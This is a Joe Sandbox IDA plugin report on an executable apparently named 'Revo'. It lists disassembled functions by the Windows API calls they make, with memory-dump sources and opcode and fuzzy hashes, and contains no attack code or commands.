Part of subcall function 00405CC8: ShellExecuteExW.SHELL32(?), ref: 00405CD7

Part of subcall function 00406B41: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406B52
Part of subcall function 00406B41: GetExitCodeProcess.KERNEL32(?,?), ref: 00406B74

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Strings

@, xrefs: 00401FAF

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseCodeExecuteExitHandleObjectProcessShellSingleWait
String ID: @
API String ID: 165873841-2766056989
Opcode ID: e742f24370eeb6c79a6e3be1c19ad95986f761f1fedb39cce3e5cc15d6c6f8bb
Instruction ID: fada87d5783261b67c1888f8bede04a63cf771d19a625931ff974fd18e721819
Opcode Fuzzy Hash: e742f24370eeb6c79a6e3be1c19ad95986f761f1fedb39cce3e5cc15d6c6f8bb
Instruction Fuzzy Hash: E0112B71E142198ADB10EFB9CA4AB8DB7F0AF04308F20457FE545F72D2DBB889449B18

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A230,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1d8cdfb8dfb056e96828346964ac3a90e07f6a4c165948e412157bc5f6f5cc6c
Instruction ID: 79785e1055596f35c81cc11ac1c08ebc052ec65b95c8641ce566291046e0593e
Opcode Fuzzy Hash: 1d8cdfb8dfb056e96828346964ac3a90e07f6a4c165948e412157bc5f6f5cc6c
Instruction Fuzzy Hash: C10144316202109BEB091B799D04B2B3398E750754F20427FF841F32F0E6B8CC028B4E

Function 004057FA Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040580A

Part of subcall function 0040466D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040467F

CoUninitialize.COMBASE(00000404,00000000), ref: 00405856

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: 691039c818a67b31f98599bc9a66305e369ba1548cb07ccd7a3140e409cbdcf5
Instruction ID: 75974562a342b4767595fe941f1b5a5caa8115d748db5a0a183e84b8e7df0fb7
Opcode Fuzzy Hash: 691039c818a67b31f98599bc9a66305e369ba1548cb07ccd7a3140e409cbdcf5
Instruction Fuzzy Hash: 71F090739015008AE74177A5AD01B2677A4EB98709F06847AEFC4B22B0E7B948118E5E

Function 00405BF6 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00481000,?), ref: 00405C38
GetLastError.KERNEL32 ref: 00405C46

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: cc352e270a5c7d66bac2c8a7d463e84c1d5eb2dce2c10117675193e318c6cc25
Instruction ID: 25e10c4fac4d698a59efea960107f93253b8ac9e3b964bd1d6400c706bcc644c
Opcode Fuzzy Hash: cc352e270a5c7d66bac2c8a7d463e84c1d5eb2dce2c10117675193e318c6cc25
Instruction Fuzzy Hash: E6F0F4B0C04209DAEB00CFA4D9497EFBBB4BB04319F00802AD541B6281D7B882488FA9

Function 00401F03 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401F21
EnableWindow.USER32(00000000,00000000), ref: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: d0188487546d0aa2d07df64ecb57d90e690e89e3614f878a6311feaccaca8818
Instruction ID: ce97bb54dc56410027eb81a7581dc46f0de68bed8411b1f66f85bdadb8ab3b17
Opcode Fuzzy Hash: d0188487546d0aa2d07df64ecb57d90e690e89e3614f878a6311feaccaca8818
Instruction Fuzzy Hash: 7DE04876908610DFE744EBA4AE495AE73B4EF84365710097FE041F11D1D7B94D00965D

Function 00406AD2 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?), ref: 00406AE9
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00406AF9

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Message$DispatchPeek
String ID:
API String ID: 1770753511-0
Opcode ID: 454023410e24b941cb85301e3ae29d468fd74800f29e5bcbc5c5f96efbc0212a
Instruction ID: 1ddfa30a50b64daf61bbb77bbc73644e1ad8712fad2235fac67661dc563a41bf
Opcode Fuzzy Hash: 454023410e24b941cb85301e3ae29d468fd74800f29e5bcbc5c5f96efbc0212a
Instruction Fuzzy Hash: 8CE08673A01119A7CE00B6A99D05ECB777C9B95750F014036FA01F3084E674E5028AB8

Function 00405C85 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00481000,00000000,00000000,00000000,04000000,00000000,00000000,0045A750,?,?,?,00481000,?), ref: 00405CAE
CloseHandle.KERNEL32(?,?,?,00481000,?), ref: 00405CBB

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: c45f180bea824e86b9f60da59515b64d79646989f9db2e08603b41b576f742c4
Instruction ID: 678fb2cce29b027916b6e9c77d741f72fc3b9667aac1924bad6fa13dfa27649e
Opcode Fuzzy Hash: c45f180bea824e86b9f60da59515b64d79646989f9db2e08603b41b576f742c4
Instruction Fuzzy Hash: E6E0BFB4500209BFFB009B64ED49F7B7B7CE704605F008525BD10F2191D774D8159A7D

Function 00406A96 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403775,0000000C,?,?,?,?,?,?,?,?), ref: 00406AA8
GetProcAddress.KERNEL32(00000000,?), ref: 00406AC3

Part of subcall function 00406A26: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406A3D
Part of subcall function 00406A26: wsprintfW.USER32 ref: 00406A78
Part of subcall function 00406A26: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A8C

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 09a5520475afffee645b4664441d986c1138b09cf986c3d6b2a713b3520f987f
Instruction ID: 6883b19bcb958afdb132cd43d0a9aeb12fc85c99e1cf53eaa24744f9dd55f8c1
Opcode Fuzzy Hash: 09a5520475afffee645b4664441d986c1138b09cf986c3d6b2a713b3520f987f
Instruction Fuzzy Hash: CDE08636714611ABD210BA745E48C6777A89F86610306C83EF542F2141D734DC33AA79

Function 00403CDF Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,74DF2EE0,00403CB6,004D1000,00403BB5,?,?,00000008,0000000A,0000000C), ref: 00403CF9
GlobalFree.KERNEL32(00000000), ref: 00403D00

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: e95d17bfaf349d732f0976dec1ca20856772db7d244860fdb52b783a83313983
Instruction ID: 6cc7235c82e409e594193dc40a4abc0356c386f753d5776fe34d96f63476a0b8
Opcode Fuzzy Hash: e95d17bfaf349d732f0976dec1ca20856772db7d244860fdb52b783a83313983
Instruction Fuzzy Hash: 2DE012334151305BD6225F59FE0575ABB68BF45F22F05C52FE940BB2A18BB85C424FD8

Function 00406192 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: d28f21770be58fa8ab322e44db2ef64be76ab1399ecbb41bfd548adfe90c5e60
Instruction ID: be52236ca1bfc2e7009fe271a1dfd41440a2a0d1ebc26b2cb4c8630358080456
Opcode Fuzzy Hash: d28f21770be58fa8ab322e44db2ef64be76ab1399ecbb41bfd548adfe90c5e60
Instruction Fuzzy Hash: 30D09E31254301EFFF098F20DE16F2EBAA2EB94B00F11952CB682941E0DA715819DB15

Function 0040616D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00405D72,?,?,00000000,00405F48,?,?,?,?), ref: 00406172
SetFileAttributesW.KERNEL32(?,00000000), ref: 00406186

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 83b49fe15d4d51a1c27b4b8da2ab4689423c6710ab607d501633f61f971848cf
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: 63D0C972504220BFC2102728AE0889BBB55DB552717028A35FCA9A22B0CB314C6A86A4

Function 00405C50 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,00000000,00403658,004D1000,004D1000,004D1000,004D1000,004D1000,0040394F,?,00000008,0000000A,0000000C), ref: 00405C56
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405C64

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 713f00ffaa2578e3ba1d99e04a2fab42aad7341dbc9e3b83e2e07bf738d273a4
Instruction ID: 868687b2a80a8d4cb6d5034857ca3092976d2c25b2f3b55ea206b3a8d14aaeda
Opcode Fuzzy Hash: 713f00ffaa2578e3ba1d99e04a2fab42aad7341dbc9e3b83e2e07bf738d273a4
Instruction Fuzzy Hash: C7C04C30608701DAEA105B31DE8CB177A50BB54741F198439A582F41B0DA348555D92D

Function 00403C82 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,004D1000,00403BB5,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403C94
CloseHandle.KERNEL32(FFFFFFFF,004D1000,00403BB5,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403CA8

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d2bdcc80eca201cd5359b13114e9f273fde289d40d32cb5243316b7ba4aee94e
Instruction ID: 93454ec2f84d486dd0eb46c633a3a61ffb1fb8fcaaff07e214acfe86ea83ea04
Opcode Fuzzy Hash: d2bdcc80eca201cd5359b13114e9f273fde289d40d32cb5243316b7ba4aee94e
Instruction Fuzzy Hash: 33E0863150471496D5206F7CAE4D9853B185F41335765C327F038F21F0C738D95A5AAD

Function 004016A0 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 004016BB

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 68bb4f6f7371558e69e9210aa95fbfffb87ec2be4bc2e048b920f3dfebe64502
Instruction ID: 51a81b0a5d784a3e000b48fd00e23250cd6aa6ca0aeb3385d4825347e3700de9
Opcode Fuzzy Hash: 68bb4f6f7371558e69e9210aa95fbfffb87ec2be4bc2e048b920f3dfebe64502
Instruction Fuzzy Hash: A9F09031608112A3CB10B7B55F0ED9F26949F8136CB30463FB112B21E1D6BC8A02966E

Function 004028B6 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,?,00000000,?,?), ref: 004028D4

Part of subcall function 004065E9: wsprintfW.USER32 ref: 004065F6

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 87c5897e7d26168ae8e73bcafa5ed0f6671dd4abe8b22ba1c793c606c7386a0e
Instruction ID: 6ed73ee8f3319f68a8da4c27dc8c9ca591426a2e8a32d0aa126581893dcb710c
Opcode Fuzzy Hash: 87c5897e7d26168ae8e73bcafa5ed0f6671dd4abe8b22ba1c793c606c7386a0e
Instruction Fuzzy Hash: A4E06D71908104AAEB04ABA5AE59CAE7379AF94345B20443FF101F00E8C6B94D109A2D

Function 00402903 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(00000000,?,?), ref: 00402917

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 742a5d2d02c8cd350c2a3ef58f522920eb87d0a7cd3bfa896a74a5719c09783c
Instruction ID: d46dfd92da6d3320027a158c46672eb634da6cf54ac1c691db46aaaef4df00ea
Opcode Fuzzy Hash: 742a5d2d02c8cd350c2a3ef58f522920eb87d0a7cd3bfa896a74a5719c09783c
Instruction Fuzzy Hash: E5E06D72A04105DBDB11DBE5DAAC9AFB3B8EF00348F20447BD102F21E1E7B98A549B19

Function 0040653D Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E7C,00000000,?,?), ref: 00406566

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

